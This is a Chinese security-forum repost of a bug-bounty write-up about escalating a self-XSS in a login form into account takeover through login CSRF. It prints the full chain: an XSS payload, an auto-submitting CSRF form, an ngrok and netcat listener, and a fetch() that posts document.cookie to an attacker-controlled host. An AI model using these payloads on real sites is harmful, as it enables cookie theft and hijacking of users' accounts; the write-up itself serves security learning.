安全矩阵

 找回密码
 立即注册
搜索
查看: 864|回复: 0

从Self XSS到账户接管(ATO)

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-9-13 17:01:18 | 显示全部楼层 |阅读模式
本帖最后由 ivi 于 2023-9-13 17:03 编辑

潇湘信安 2023-09-13 08:30 发表于湖南
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
来源:Medium,作者:@Mostafa Elguerdawi

现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安“设为星标”,否则可能看不到了!



比方说:https: //reacted.com,当我在这个网站上进行测试时,有一个登录功能,像往常一样,我尝试使用响应操作、默认凭据和 SQL 注入来绕过登录。

但没有任何作用,我决定检查源代码,发现我刚才输入的用户名打印在 value 属性中。

我想过尝试XSS注入,所以我尝试在用户名中注入双引号(“),我发现没有对其进行过滤。

所以,我考虑注入'<',这也可能有效
确实,它起作用了!

因此,我尝试注入一个完整的有效载荷:
  1. "> <svg/onload=alert("XSS")>
复制代码
而且还成功了!

不幸的是,这是一个Self XSS
升级阶段
我运行了 BurpSuite 并在登录期间拦截了该请求。

从请求中,我注意到没有针对 CSRF 的保护,而这是登录功能所期望的。

我尝试使用 CSRF 将 Self XSS 升级为反射 XSS。

使用的有效负载:

  1. <html>
  2.   <body>
  3.      <form name='myForm' id='myForm' method="POST" action="https://reacted.com/authenticate">
  4.         <input type="hidden" name="loginName" value="" ><svg/onmouseover=alert(1) ">   
  5.         <input type="hidden" name="loginPassword" value="test"/>
  6.         <input name="loginForm" class="btn btn-success" type="submit" value="Log in"/>
  7.                 </form>
  8.         <script>
  9.            document.addEventListener('DOMContentLoaded', function(event) {
  10.             document.createElement('form').submit.call(document.getElementById('myForm'));
  11.             });
  12. </script>      
  13.   </body>
  14. <html>
复制代码

是的,它起作用了!

在ngrok的帮助下,我成功获取了任何人的cookie

我打开了两个终端选项卡,第一个:
  1. ngrok http 80
复制代码
第二个:
  1. sudo nc -nlvp 80
复制代码

我在用户名中使用了这个有效负载
  1. " > <script>
  2. fetch(‘https://<ngrok-Domain>', { method: ‘POST’, mode: ‘no-cors’, body:document.cookie });
  3. </script> "
复制代码

"  是 html 中编码的双引号和空格
此有效负载检索用户的 cookie 并将其发送给我,在netcat(nc)的帮助下,我可以获得这些cookie。
最终有效负载:

  1. <html>
  2. <body>
  3.   <form name='myForm' id='myForm' method="POST" action="https://reacted.com/authenticate">
  4.    <input type="hidden" name="loginName" value="" > <script>
  5. fetch('https://<ngrok-host>', { method: 'POST', mode: 'no-cors', body:document.cookie });
  6. </script> ""/>
  7.    <input type="hidden" name="loginPassword" value="test"/>
  8.    <input name="loginForm" class="btn btn-success" type="submit" value="Log in"/>
  9.   </form>
  10.   <script>
  11.    document.addEventListener('DOMContentLoaded', function(event) {
  12.     document.createElement('form').submit.call(document.getElementById('myForm'));
  13.     });
  14. </script>
  15. </body>
  16. <html>
复制代码
最后,我成功获得了cookie。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 07:30 , Processed in 0.013688 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表